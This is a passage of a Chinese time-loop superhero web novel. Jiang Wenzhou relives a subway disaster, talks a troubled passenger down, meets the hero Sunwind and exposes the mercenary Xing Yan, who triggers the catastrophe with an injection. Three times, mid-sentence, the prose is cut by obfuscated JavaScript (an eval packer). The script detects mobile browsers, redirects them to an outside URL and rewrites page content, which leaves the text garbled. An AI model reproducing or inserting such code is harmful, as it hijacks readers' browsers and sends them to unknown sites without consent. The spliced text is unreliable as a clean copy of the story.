但江闻舟只用一句话就将张茂的情绪冷冻:“所以你准备什么时候上天台?” 张茂的表情僵住了。 无数的话语在他喉间凝固。 他的眼珠轻微颤抖着,似乎想要找出什么反驳的话来的,可偏偏他的大脑一片空白。 江闻舟依然没有看他,冷静的声音力,带着一种令人信服的强大:“下一站,下车吧。” 这是肯定句。 “不要去公司,也别回家。你要去江边,去公园,去你喜欢的任何一个能看见天、能吹到风的地方,把手机关了,躺下来,闭上眼睛,睡一觉。 “订单没有你不会完蛋,公司没有你不会倒闭,但属于你的人生,却不能没有你自己。” 说完,江闻舟看了张茂一眼——这是他在这周目看张茂的第一眼,也是唯一一眼。 随即,他起身,直接离开了06号车厢,将一切选择留给张茂。 不过,江闻舟看似离开,实则并未走远,在05号车厢和04号车厢的连接口就停了下来,在众人避之不及的目光中,掏出一根皱巴巴的烟和打火机。 “接下来……就看张茂的选择了。” 江闻舟心中冷静思考。 “一般来说,话疗到这种地步,不应该再有问题了……只要张茂下一站下车,一切都会解决。” 所以…… 张茂会在下一站下车吗? 这样想着,冷不丁的,江闻舟的眼前突然多出了一只手。 修长而蕴含着强大力量的手指,剪得干干净净的指甲,以及……一种与江闻舟身上酸臭味格格不入的、好似太阳的味道。 “这位先生,车厢内不能吸烟。” 江闻舟愕然抬头,看到了一张年轻俊俏、笑起来像是太阳的一张脸。 “不过作为补偿,下一站下车后,我请你吃顿饭,怎么样?” 江闻舟目光一扫,只一瞬间就明白了本该站在05号车厢尾部安静看书的太阳风,为什么来到了他的面前。 “……看来,张茂忽悠成功没有,还不太清楚,但从结果来看……我好像把太阳风成功忽悠了?” 这一刻,江闻舟心情十分复杂: 年轻人,作为一个A级注册英雄,你的当务之急是下载国家反诈中心APP。 11.第11章 “恶”果 太阳风实在是个相当俊俏的年轻人。 这一点值得反复强调。 他造型时髦,穿着打扮看起来相当精致,身上的每一个细节都在呐喊着昂贵,因此在外人眼里,这样的太阳风与江闻舟之间,何止不是一路人——他们简直都不像一个世界的人。 可这样的太阳风,却径直走到江闻舟的面前,露出一个萨摩耶般无害又灿烂的笑脸,就连他眼里那份好奇,都清澈见底,明亮得晃眼。 这与江闻舟在前几个周目见过的、那个成熟疲惫的“英雄”,判若两人! 过大的差异,让江闻舟有一瞬间怀疑太阳风是不是看破了他的伪装,特意来套他话的。 但这个念头,在太阳风开口的瞬间,就被冲淡。 “我可以问你一个问题吗?” 一边说着,太阳风一边朝06号车厢瞥了一眼,神情里带着一种与人共享秘密的小兴奋。 “——刚刚那个,怎么做到的?” 江闻舟不动声色,迅速在心中勾勒出太阳风的画像:热情,有点自来熟,但直来直往到近乎笨拙,不懂得掩饰目的,也不懂得人际交流的方式。 只从这一句话、一个动作,江闻舟就看出太阳风不是那种懂得套话的人。 他心中稍稍放松,脸上依然保持着老流浪汉那蔑视人间、落拓又不羁的表情,轻睨面前的年轻人一眼:“哦,你看到了?” 从太阳风手上抢回那根皱巴巴的烟,江闻舟不答反问,“干吗?他是你朋友?” 太阳风诚实摇头:“我不认识他。” “那你管这么多干嘛?” 太阳风没有生气,反而笑了起来,露出了脸颊一侧的小酒窝。 “我只是很佩服你。”太阳风摘下了那副昂贵的墨镜,露出他那张格外俊秀也格外诚恳的脸,“我觉得你真的非常了不起,所以很想要认识一下你。” “……什么?” 江闻舟一怔,心跳漏了一拍。 有种说不清的情绪,在他心口轻轻挠了一下。 就像高悬天际的恒星,突然低头看见了地上的凡人,还说:“我很敬佩你。” 这样的事,在江闻舟十八岁以后的梦里,就再没有出现过了。 可如今,它竟然真的发生了…… 实在是……相当奇妙。 但也许是因为模拟了太多次,让他对这位A级英雄失去了敬畏;又或许是【英雄之心】那“冷静+10”的效果持续冷却着他的理智—— 这一刻,江闻舟冷静得连他自己都感到可怕。 “小子,跟我套近乎是没用的。”江闻舟嗤笑,拉开破旧风衣的外套口袋,露出里头的破洞,“看,我一无所长,也一无所有,无论你想要从我身上得到什么,恐怕都只会一无所获。” 江闻舟的一身表演没有半点破绽。 可被江闻舟当作不怀好意的人连续呛了两回后,太阳风竟依然没有生气。 他只是用柔和又闪闪发亮的目光看着江闻舟,就好像江闻舟才是那颗在天上发光的恒星。 “我的……养父曾告诉我,‘真正的英雄主义,并不是站在阳光下接受万人欢呼的人,而是那些在无人瞩目的角落里依然坚守自我的人’。 “过去的我一直不懂……很多很多事我都不懂。 “可就在刚才,我突然懂了。” 太阳风看着江闻舟,眨了眨眼,又一次露出了那个腼腆的酒窝。 他什么都没说,却比任何赞美都有效,以至于当他向江闻舟友好伸手时,江闻舟竟下意识握住了他的手。 “抱歉,突然跟你说这些是不是有点冒昧?你好,我叫夏眠风,可以认识一下你吗?” “我叫江闻舟。” 江闻舟:“……” 江闻舟:? 等会儿?他怎么就说出口了? 坏了,他中异能力了?! 这一刻,江闻舟心跳又漏了一拍。 吓的。 如果不是这次的场景只是一次救援模拟,江闻舟几乎都忍不住要转身逃跑了。 不怪江闻舟这样警惕。 实在是一个照面就能把别人好感刷到60以上的人,太过离谱。 离谱到有点抽象了。 江闻舟忍不住更仔细地审视起了夏眠风。 夏眠风,这个注册英雄名字叫做“太阳风”的年轻人,有着相当违和、但偏偏没有让任何人觉得刺目的姿态。 他既腼腆,又大方,既成熟,又青涩。 他穿着昂贵,进地铁也不摘墨镜的举动,令他显得有点傲慢又有点叛逆,可他说起话来时,却意外地打动人。 并且,他的那双眼睛也非常漂亮,没有半点成年人常见的晦涩和麻木,而是像太阳下的溪流一样,闪闪发光、清澈透亮,好像天生就有着令人亲近和信服的力量。 但——真的很奇怪啊。 为什么之前没有任何人——包括他江闻舟——注意到他身上的违和、矛盾和惹眼呢? 江闻舟心中警铃大作,迅速在脑中过了一遍《异我之名》所有BOSS的名字,再三确认没有“夏眠风”这号人,才稍松一口气。 但就算这样,江闻舟也决定要对这位A级英雄敬而远之了。 “好了,人也认识过了,你赶紧走吧。”回神后的江闻舟翻脸不认人。 夏眠风脸上的笑容一僵,表情有些沮丧:“我们不能多聊聊吗?我真的没有恶意的……” 像是害怕江闻舟拒绝,夏眠风急切补充道:“我只是很敬佩你,也很羡慕你。” “羡慕?”这句话留住了江闻舟的脚步,“你羡慕我什么?” 江闻舟说着,看了看现在的自己。 没错,还是那个老流浪汉的模样:苍老,邋遢,胡子拉碴,身上的气味堪比生化攻击。 可夏眠风竟然说——羡慕他?羡慕一个“流浪汉”? “我羡慕你比我更像‘人类’,”夏眠风轻声说,“我羡慕你有一颗英雄的心。” 江闻舟沉默一瞬。 “说完了吗?说完就闪开!” 江闻舟近乎粗暴地推开那张写满委屈的脸,脚步仓促地离开这节车厢。 就连他一直在等的答案——张茂最后的选择——都被他暂时抛在脑后。 他几乎是逃离了那节车厢,直到确认那个身影没有跟来、确定再也看不到夏眠风后,才终于停下。 他感到自己的后背不知道什么时候有些汗湿,呼吸有些急喘。明明他走过的这两节车厢并不长,可他却像是跑过了一段无尽漫长的旅程。 江闻舟头脑一片混乱,掏出了本该作为道具的烟和打火机,想要点燃。 但也正是在这一刻,他突然发现自己做不到“点烟”这件事。 因为他的指尖颤抖到无法控制。 江闻舟怔怔看着自己的手,半晌后,苦笑起来: “我啊,可真是……” · 时间一分一秒流逝。 随着时间越是接近6时30分,江闻舟的心情就越发难以平静。 六点二十五分,江闻舟终于坐不住了,硬着头皮走向06号车厢。 他暗下决心:如果等会儿再遇见太阳风,无论那小子说什么,他都绝不搭话,要将无视进行到底。 ——成年人的世界就是这么冷酷的,小鬼! ——你想要交朋友就能交到朋友?以为自己是迪X尼公主吗?! 可令江闻舟松了口气、又有些莫名失落的是,当江闻舟经过04号车厢时,太阳风竟没注意到他,而是一脸专注地跟关前讨论着什么。 江闻舟听了一耳朵,依然是“仿生人”、“赛博格”、“小王子”、“哈姆雷特”那些东西。 江闻舟:……行吧,文艺青年是这样子的。 他迅速扫了一眼04号车厢。 此刻,本该分散各处的关键人物——太阳风、关前、王天、周建——都聚集在04号车厢。 而至于张茂和那个红发异能者,则仍停留在06号车厢。 分开也好,方便观察。 这样想着,江闻舟无声穿过这群人,在05号车厢停下,选了个能清楚观察06号车厢动静的位置,静待结局降临。 6:28′ 6:29′ 6:30′ 6:31′ 时间过了! 他成功了! 这一瞬间,江闻舟心中涌出狂喜。 他以为自己终于找到了通关的钥匙、找到了那个“两全其美”办法! 可下一秒,那令人胆寒的青色风暴,竟再次降临! 呼—— 飓风卷起。 盖过了江闻舟的失声惊呼: “怎么可能?!” 怎么会失败? 怎么会又是这个结局? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16636034|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ——不该是这样的! 江闻舟心脏狂跳,猛地起身冲向06号车厢门口,顶着肆虐的风暴向内望去。 这一刻,整节车厢在发出不堪重负的哀鸣。 江闻舟眼睁睁看到,那些金属扶手和座椅,正被无形的巨力撕扯扭曲,发出一阵阵令人牙酸的尖利声音。 砰! 砰!砰!砰! 碎裂声接二连三炸开。 顶灯、应急灯、车窗玻璃,所有能破碎的东西,都在顷刻间炸裂,又被卷入呼啸的青色风暴,化作漫天飞舞的凶器! 江闻舟目光迅速扫视车厢,发现此刻的06号车厢里空无一人,就连红发异能者都不知道去了哪儿。 但江闻舟已经顾不得那个红发的去向了。 他将虚影化作一层薄薄的护盾覆盖在皮肤上,顶着能将人掀飞的狂风,一步步张茂走去。 这不仅是因为张茂的暴走还在初期、还有挽回的余地,更因为江闻舟想要问他——为什么? 这世上,难道真有什么事情值得一个人走到这一步吗?! 江闻舟快步冲进了风暴。 也不知道是不是因为人在愤怒之下,真的能爆发出千百倍的可怕潜力。 此前十几周目里都会被风暴轻易掀飞的江闻舟,这次竟然在短短三秒内,就一口气冲进了风暴核心! 当江闻舟来到这里时,他以为自己会看到一个发狂的人,看到一个在被痛苦压垮后、决意要将所有无辜人都一块拉入地狱陪伴他的恶鬼! 可江闻舟真正看到的,却是一个跪倒在地上,双臂抱紧自己,在颤抖中张开嘴,无声嘶吼的人。 霎那间,江闻舟所有的不解、愤怒,甚至憎恶,都就此凝固了。 取而代之的,是从背脊蹿上的彻骨冷意。 “救……救我……” 在看到江闻舟的瞬间,张茂——这个在前十几周目里造成了巨大的破坏和人员伤亡的恶棍、反派、疯子、反社会分子——竟落下了泪来。 他望向江闻舟,就像是即将溺死的人看到了最后一根救命稻草。 那将他的脸和眼睛点燃的对求生的渴望,在此刻是如此惊心动魄。 那是任谁见过一次,就永生难忘的表情! “救我……求求你……救我——” “好痛、好痛好痛……它要烧起来了——它要吃掉我!” “救救我!救救我!!” 终于,张茂脸上的泪水化作了血泪,滚滚涌出,又被风暴瞬间撕碎。 他的皮肤下,像是有什么古怪的异物在蠕动着,甚至涌动着,直到——将“张茂”彻底吞噬! 【哈哈哈……】 于是,那熟悉的笑声响起了。 如之前的数个周目那样响起。 【如果世界就是容不下我,如果整个世界都要逼着我去死……那你们就跟我一块下地狱吧!】 张茂原本紧抱着自己的手臂张开了,就像是在迎接着什么东西的降临。 与此同时,他的眼睛也诡异地转动起来—— 就像是被无形的手捏在掌心,如像盘珠那样转着,每只眼珠都朝着不同的方向无序、不规律地转动着,令人毛骨悚然。 那绝不是人类能做到的事! 江闻舟僵在原地,浑身的血液都像是在这一刻凝固。 【哈哈哈,哈哈哈哈哈!】 张茂大笑着,脚下猛地一踏,车厢瞬间四分五裂! 一根断裂的钢管不知从何处飞来,瞬间刺穿了江闻舟的心脏。 随后,风暴将江闻舟无力的身体远远掀飞。 熟悉的剧痛和濒死的窒息,再次袭来。 然而在意识彻底消散前,江闻舟感到脸上一凉,好像有什么东西从风暴中飞出,落在他脸颊。 他用尽最后一丝力气,轻轻擦拭,举到眼前。 那是一滴血。 又或许是一滴泪。 熟悉的字体在眼前淡出: 【你曾试着竭尽全力去拯救一个人,从肉|体,到心灵。】 【但有时候,拯救并不止于伸手,更在于挥剑斩断那些致人坠落的“恶”的因果!】 【惩恶即是扬善,英雄的使命正在于此!】 【你正走在成为英雄的路上。】 【本次英雄模拟评级:E】 【请选择——】 【回到现实/重新开始模拟】 12.第12章 新线索 第二十次模拟,开始。 · 几乎是下意识的,江闻舟选择了【重新开始模拟】。 当身影出现在熟悉的03号车厢的瞬间,江闻舟眨了眨眼,似乎还能看到张茂那张扭曲、绝望,竭力想要活下去的脸。 【救我……】 江闻舟身上半冷半热,一股混杂着物伤其类的悲凉和寒意涌上,几乎要将他压垮。 张茂他……不是凶手。 他是第一个受害者,一个被所有人——包括他江闻舟——误解的人,一个最后竟只能以加害者之名,声名狼藉地死去的人。 如此可悲! 江闻舟用力抹了把脸,强行将这份过于沉重的悲凉压了下去。 他不允许自己思考太多。 因为,既然他已经决定了要改变这一切,他就绝不能瞻前顾后! 他要快一点——再快一点! 江闻舟回过神来,深深吸了口气,开始回想刚刚发生的一切。 关于张茂身上的异变,江闻舟大致有了三个方面的猜想: 未知病毒诱发的能力异变;人类异能力诱发的异能暴|动;外星人投下的未知规则。 其中,第三个猜想的可能性最低。 江闻舟所在的棘城,到底是一线城市。 如果外星人能悄无声息地突破对星屏障,降临人类重镇,并在此地悄无声息地投下一个规则领域……别想了,这《异我之名》也别画了,人类直接投降吧,已经没得玩了。 所以,这个选项直接排除。 之后,江闻舟又在“病毒”和“异能力”之间举棋不定。 江闻舟作为穿书人,对许多事物包括异能力,都有着高屋建瓴的了解。 可就算这样,江闻舟也没听过有什么异能力,是可以“诱发他人的异能力暴走”。 但,万一呢? 万一就是有这样的异能力呢? 而至于病毒,江闻舟的了解不深。 可至少江闻舟呢个够确定的是,病毒是不可能凭空出现在这辆地铁里的。 所以,无论张茂最后是因为哪个理由才发生了暴走,其背后一定还存在一个“幕后推手”! 而这个人,就在天道锁定的、除张茂之外的四个人之中! ——会是谁呢? 江闻舟心中已经有了初步想法。 如果将王天、周建、关前、红发异能者这四人,按照可疑程度来排序,始终只在06号车厢出没的红发异能者,嫌疑无疑遥遥领先。 但凡江闻舟有一点武力值,他都会直接冲过去,怼脸试探。 可惜,他江闻舟真的只是个小卡拉米。 所以这一周目,他把这位重量级嫌疑人放在了最后应付。 那么,继红发异能者之后,这场事件里的第二嫌疑人是谁? 毫无疑问,是关前。 与江闻舟亲自试探过的王天、连信物都乱丢的周建相比,关前这个看似幼稚中二的中学生,在这辆波云诡谲的地铁上,显得格外古怪。 仅从第十八周目获取的信息来看,关前似乎只是一个玩黑|道过家家的小鬼。 他言语幼稚,生理年龄不大,心理年龄更小,做事顾头不顾尾,行事散漫间,给人一种只会出现在孩童身上的跳脱感。 这也是江闻舟在第一次试探时,将关前嫌疑排除掉的原因。 可如今,站在第二十周目的现在,江闻舟再回顾关前当时的言行,忽然生出了一个关键疑问: 关前让他这个“小弟”去监视05、06号车厢时,真的只是随意一指吗? 他口中的“监管人间的重要执行者,指引人类进步的伟人”,真的只是中二少年的自我标榜吗? 他有没有可能——真的在监视什么?! 生出这样的悚然猜想后,江闻舟半点也不含糊,立即行动了起来。 这一次,江闻舟不需要再像第十八周目那样,进行一场复杂的试探。 他只需要转身,在王天、周建身上分别撞一下——只这一下,他就用虚影取得了他们身上的徽章和通讯器,过程顺利得没有半点波澜。 江闻舟:……别人的异能力是帝王,我的异能力是贼王,也是没谁了。 拿到关键信物后,江闻舟再次来到05号车厢。 他大大咧咧地把骷髅天平徽章挂在口袋边上,另一只手掏出通讯器,半点也不避人地在公共场合发起了秘密信息。 【暗夜执行人:到了,老板,你人呢?】 消息发出,江闻舟微微睁大眼,看了看这个ID,又看了看通讯器——竟然是无业游民王天的。 还蛮有童心的嘛你。 江闻舟等了一会儿,对方才慢吞吞地回复。 【筛分者C-2013:你就这么来了?】 【暗夜执行人:怎么了?】 【筛分者C-2013:不伪装一下吗?】 【暗夜执行人:我伪装了啊!】 装作不知道关前就在角落里阴暗观察,江闻舟对着地铁车窗,潇洒又自恋地捋了一把头发,力求完美还原王天那人厌狗嫌的街溜子气质。 并且,也因为江闻舟此刻的动作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16640542|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他口袋边上的骷髅天平徽章啪嗒掉地,在众目睽睽下滚了两滚。 哦,真是一个可爱的小失误。 江闻舟扶额苦笑,像汤姆猫一样敲了敲自己的头后,毫不在意地在地铁乘客们的注视下伸手,将这个神秘徽章捡起来,塞进兜里。 这一回,关前那边沉默得更久了。 【筛分者C-2013:你……是不是太不专业了?我太能相信你。】 【暗夜执行人:一分钱一分货啊老板。】 【筛分者C-2013:你搭档呢?】 【暗夜执行人:肚子痛,上一站下车去厕所了。】 这一刻,江闻舟隐约听到有什么人“汪”的一声哭了出来。 江闻舟唇角微翘,半点没有欺负小朋友的愧疚感,手指在通讯器上劈里啪啦地敲字。 【暗夜执行人:所以老板你到底叫我来是干什么的?来都来了,再不满意也说一下任务呗,说不定我能给你一个惊喜呢!】 关前再度沉默,内心斟酌与斗争的声音,激烈到江闻舟都几乎能够听到。 许久,他终于迟疑地发来消息。 【筛分者C-2013:你,去监视06号车厢的一个人。】 江闻舟心头一跳。 【暗夜执行人:谁?】 【筛分者C-2013:一个异能力者。你去监视他,但最好不要被他发现,否则后果可能会很严重……你敢吗?能做到吗?】 江闻舟的心跳微微加快,那正在步步接近真相的战栗与激动,混入血液,随着心脏的贲动涌遍全身。 但他打字的手依然很稳。 【暗夜执行人:告诉我他的特征。】 【筛分者C-2013:红色的头发,红色的卫衣,红色的眼睛。他叫刑焰,是一个等级很高的火系异能者。】 ——刑焰?! 江闻舟的脑中有一瞬间空白。 他万万没有想到,关前这个看似幼稚浅薄的小鬼,竟然真的知道些什么。 而他也没有想到,他想要与重磅级嫌疑人发生交集的机会,竟会在这样的时刻、以这样的方式到来。 但,他的血越热,眼神越冷,手也越稳。 【暗夜执行人:为什么要监视他?】 【筛分者C-2013:你不必知道太多。你只要观察他,但最好不要用“眼睛”去看他,否则他一定会注意到你。】 【暗夜执行人:你需要我关注他的哪些行为?】 【筛分者C-2013:每一个行为——记下他的每一个举动,直到这趟旅途结束。】 13.第13章 监视 【暗夜执行人:可是老板,你又要我去监视,又说不能用“眼睛”去看,那我该怎么“看”?】 【筛分者C-2013:那是你该解决的问题。】 【筛分者C-2013:你不是说可以给我一个惊喜吗?那就证明给我看吧。】 多么典型的无良上司的做派啊。 这让江闻舟不由得想起自己那位刻薄上司——有任务时,只要往下一丢就好,至于下属怎么做、能不能做,那就是下属的事了。 但面对无良上司时,老油条社畜大可糊弄过去,可面对这位中学生,江闻舟却必须严正以待: 他必须证明自己的价值,才有机会从这个小鬼口中撬出更多的消息。 所幸,他还真有一个不需要去“看”,就能监视他人的能力。 江闻舟将通讯器滑入口袋,来到05号车厢和06号车厢的连接处,他倚墙而立,身形融入车厢连接处的阴影中。 随后,他整个人都仿佛放松下来,掏出手机玩起了游戏。屏幕的光映在他脸上,明明灭灭,消消乐的音效在嘈杂的环境中微不足道。 但,只有江闻舟知道的是,他的异能力【虚影】,正顺着他的袖口落下,融入阴影,悄然向着06号车厢的车顶爬去。 时间一分一秒过去。 江闻舟的手机音效其实并不大,可在有心人听来,那接二连三飘出的胜利音,却像是鞋子里的沙砾,梗得他坐立难安。 因此,对方很快就坐不住了。 ——嗡! 6时21分。 通讯器一震,一条消息弹出。 【筛分者C-2013:你到底在干什么?我花钱不是雇佣你来玩游戏的!】 【暗夜执行人:淡定,这只是伪装的一环——你怎么知道我没有在监视?】 【筛分者C-2013:你在监视他?用什么监视?游戏吗?】 【暗夜执行人:我抵达05号车厢正式开始监视任务的时间是6:16′,现在的时间是6:21分。在过去的五分钟里,监控目标始终坐在座位上,没有任何动作,视线也没有落在任何人的身上。但目标的形迹依然十分可疑,理由有三点。】 【暗夜执行人:第一点,他左手口袋有某个东西在短短五分钟内震动了三次,每次一分钟。可他完全没有查看的意思。】 【暗夜执行人:第二点,他右裤袋装有某样东西。从形状上看不出来是什么,但6:19′时,有乘客不小心撞到了他,他的第一反应是护住口袋里的那东西——从这个动作可以看出,这玩意儿应该十分重要,并且可能相对脆弱。】 【暗夜执行人:第三点,也是最重要的一点。我观察了他足足五分钟的时间,记下了他的体型、特征、衣着风格,等等,却偏偏记不住他的长相。】 【暗夜执行人:老板,看来你刚才没有说实话,这家伙可不仅仅是元素系异能者吧?这样的监控目标——得加钱!】 江闻舟的这几大段消息发过去后,对面沉默了很长一段时间。 以至于江闻舟都开始怀疑,自己是不是表现太超过,反而把对面的中学生给吓到了。 但还好,两分钟后,回复终于弹了出来。 【筛分者C-2013:我没办法给你加钱,但我可以告诉你两个消息,应该会对你有所帮助。】 或许是因为江闻舟在短短五分钟就给出了这样详细的消息,将这小子彻底震住了。 也可能是因为江闻舟那令人完全摸不透的监控能力,让关前这个中学生由衷升起了敬畏之心。 总之,关前这次回复的口吻和气多了,不但没有再咄咄逼人、颐指气使,反而称得上眉清目秀。 【筛分者C-2013:刑焰的确是元素系的异能者,他身上有[认知障],但这是道具效果,不会对你的监视任务造成影响。】 【筛分者C-2013:并且,他也是深红商贩的一员,雇佣等级是AA级。如果你敢的话,或许可以用这个身份去跟他套关系,但我不保证接下来他的反应。刑焰是个脾气很暴躁的人,很不好说话。】 道具? 深红商贩里的AA级雇佣兵? 江闻舟看着这两条消息,心中大喜:这算什么? 算喜从天降? 江闻舟是万万没想到,自己苦心寻求的答案,就这么轻易从关前这小鬼嘴里掏出来了。 更不可思议的是,关前不但对刑焰的底细一清二楚,还能评价刑焰是个“脾气暴躁,很不好说话”的人——只从这一点就能看出,这两人的关系绝不简单。 关前,绝不是什么普通的中学生! 想到这里,江闻舟心念一动:既然关前不是普通中学生,那……他背后的网球包里装着的,又真的只是网球拍吗? 江闻舟看了眼时间。 6时25分。 离这周目结束只剩下了最后五分钟。 来不及了。 江闻舟遗憾决定把这个谜题留在下周目解开。 不过,很快的,江闻舟又想到另一件事: 既然关前与刑焰的关系匪浅,那他为什么要在深红商贩的平台上发布任务,雇佣王天和周建这两个小角色,用这种迂回、低级又错漏百出的手段去监视刑焰? 甚至在第十八周目的时候,关前为了看热闹,都压根没提监控刑焰的事! 这小子……是不是不太靠谱? 而自己又能利用这样的“不靠谱”,得到些什么? 江闻舟脑中思绪飞转,手上打字不停。 【暗夜执行人:老板,你真要我去试探?你说他脾气爆,我上去该不会直接被他干掉吧?】 6:26′ 【筛分者C-2013:建议而已,去不去随你,跟我发布的任务无关。】 【暗夜执行人:这话骗骗兄弟得了,别把你自己也骗过去了——特意告诉我这件事,不就是想我去试探,但又怕真的出问题担了责任,或者单纯不想加钱,才说什么“随你”……】 【暗夜执行人:得了,咱们打开天窗说亮话吧,老板,你到底想要从那个AA级身上得到什么?或者说,你真正的目的是什么?如果你不说的话,我可绝对不会上前搭话的。】 【暗夜执行人:一分钱一分货,老板,千万别指望我们深红的人做什么贴钱的亏本买卖……如果你说了,我可以去试试,成了就加钱,不成就拉倒!】 【暗夜执行人:给个准话吧!】 6:28′ 江闻舟摩梭着手上的通讯器,眸色微深,等待着关前的抉择。 6:29′ 通讯器一震。 江闻舟低头一看,心中涌上失望。 【筛分者C-2013:算了,不重要了。】 【暗夜执行人:怎么会不重要?你都这么拐弯抹角地提了,怎么可能不重要?】 【筛分者C-2013:时间到了,就这样吧。】 时间到了?! 这一瞬间,江闻舟心脏猛地一缩。 关前这句话是什么意思? 什么时间到了——难道是指灾难发生的时间到了? 关前他到底知道些什么? 他在这场地铁灾祸中,究竟扮演着什么角色?! 江闻舟霍然抬头,目光如电,瞬间锁定了05号车厢另一端的关前。 而恰好,此刻的关前也正在看他。 四目相对,关前的脸上霎时间闪过震惊与慌乱,像是完全没料到自己竟然会被江闻舟捉住。 下一秒,他就像只受惊的兔子,扭头就钻进了04号车厢,瘦小身形瞬间被人潮吞没。 江闻舟下意识向前追了两步,想要抓住这个小鬼,从他嘴里把那些要命的消息统统抖落出来。 但,又一件出乎意料的事发生了—— 一个身影猛地跨出,拦在他面前。 是太阳风! “这位先生。” 这一刻,太阳风的墨镜从鼻梁上微微下滑,露出了他有些严肃的眼睛。 “请你留步,我是这里的官方人员,需要了解一下你和刚刚那个孩子的身份,以及刚刚发生了什么。如果你无法给出一个合理解释,恐怕我不能就这么放任你离开。” 这又是一件江闻舟万万没想到的事:他去追一个反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16649020|187517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 方,结果却被正方拦住了。 就是说,你们两个哪来的这么坚强的革命情谊? 这周目的你们根本就没有机会说得上话吧?! 江闻舟心中焦躁,声音急促:“太阳风,我现在没时间跟你解释!” 代号被叫破,太阳风明显一愣,原本按住江闻舟肩膀的手也松了些力道。 “你是……?” “这是一场秘密行动!”江闻舟眼都不眨,张口就来,“刚刚那个孩子的身份并不一般,涉及到一个重大阴谋——我必须控制住他,查明一切的真相!” 太阳风听得眉头紧锁,陷入沉思。但思考归思考,他的手已经彻底松开,身体也让开了去路。 很显然,这个好糊弄的年轻人,再次被成功糊弄。 江闻舟急急越过太阳风,想要追上关前、在这周目结束前弄明白这小鬼在这场灾难中的定位。 可下一秒,江闻舟猛地抽了一口冷气,霍然转身—— 就在刚刚的那一瞬间,他留在06号车厢顶部的虚影“看”到了:那个如石雕般静坐许久的刑焰,动了。 刑焰起身,迈步,径直向张茂走去。 目标极为明确,动作清晰可见。 只是一个迈步,刑焰就站在了张茂身前,一直插在口袋的右手抽了出来,明明动作看起来随意,却又快得不可思议,在张茂甚至江闻舟反应过来之前,就按在了张茂的脖子上。 当啷! 直到那只注射完毕的空针筒掉落在地上,发出清脆声响,张茂才后知后觉地反应过来。 张茂下意识捂住脖子,那骇人的青红血管在他手掌下浮现,如蛛网般蔓延,瞬间遍布全身! 他不可置信地抬起头来,眼珠转动,在视野中疯狂搜寻,想要找到刚刚的那个人,或许还想要问对方一声“为什么”。 可他身前空无一人。 很快的,他开始颤抖起来,难以想象的痛苦涌出,让他试图站起来求救。 可他甚至都没能完全站起,便“噗通”一声重重跪倒,双臂紧抱自己,剧烈颤抖,嘴巴张到极致,发出无声的痛苦哀嚎。 紧接着—— 风! 那熟悉的、毁灭一切的青色风暴,再度降临! 一切发生得太快太快。 快到早有预感的江闻舟,都来不及阻止。 而当江闻舟明白到底发生了什么时,他像是被一记重锤砸中,近乎头晕目眩。 原来……是这样。 原来——这才是这一切的真相! 那个制造了这一切惨剧,毁掉无数人和无数家庭一生的,根本就不是“凶手”张茂,而是这个恶鬼! 他想要做什么? 他凭什么这么做! 霎那间,无数画面在江闻舟眼前闪回。 是他在前十几个周目里,一次次重伤甚至一次次惨死的痛苦挣扎; 是他在黑暗中听到的,那近乎野兽般的哭号和哀求; 是他眼睁睁看着上一秒还好好的人,下一秒就变成了漫天的血沫和碎块; 也是那一滴从风暴中飘出的血泪。 此刻,这份在江闻舟胸腔里奔涌的,究竟是什么? 是悲痛吗? 还是愤怒? 又或者是这二十年来,他不得不看到、却又不得不忍受的让他无能为力的一切?! 江闻舟说不上来。 他只是挺直腰,坦然站在06号车厢前,拦住了正准备悄然离去的刑焰。 然后,对他露出一个笑容。 “刑焰,深红商贩的AA级雇佣兵。” “我其实有一个问题一直一直都想不明白……你们这些只知道追求自己痛快的疯狗,究竟是怎么有脸——活着?!” 话音未落。 下一秒,江闻舟挥出了一拳。 是属于凡人的一拳! 是不自量力的、本该毫无作用的一拳。 但,就是这好似螳臂当车的一击,却结结实实地,砸在了那位如“神”般的A级异能者脸上! ——轰! 刑焰整个人,被砸得倒飞出去! 14.第14章 第一个结局 这一拳,结结实实地砸在刑焰脸上,触感真实得让江闻舟自己都愣住了。 时间仿佛凝滞了一瞬。 刑焰仰面倒地,原本罩在头上的卫衣兜帽掉落,第一次在江闻舟面前露出了他那张清晰的脸——以及他脸上更清晰的拳印! 这一刻,从刑焰和江闻舟眼中腾起的,是一模一样的震惊与错愕! 他……居然打中了?! 江闻舟不可思议地看着自己的拳头: 他,江闻舟,一个身体素质只不过是普通社畜水平的凡人,竟一拳打飞了一个A级以上的异能者? 开玩笑吧? 这比天道代打还要离谱啊! 但江闻舟没有时间细想。 他后退一步,毫不犹豫将身旁的太阳风护至身前,厉声道: 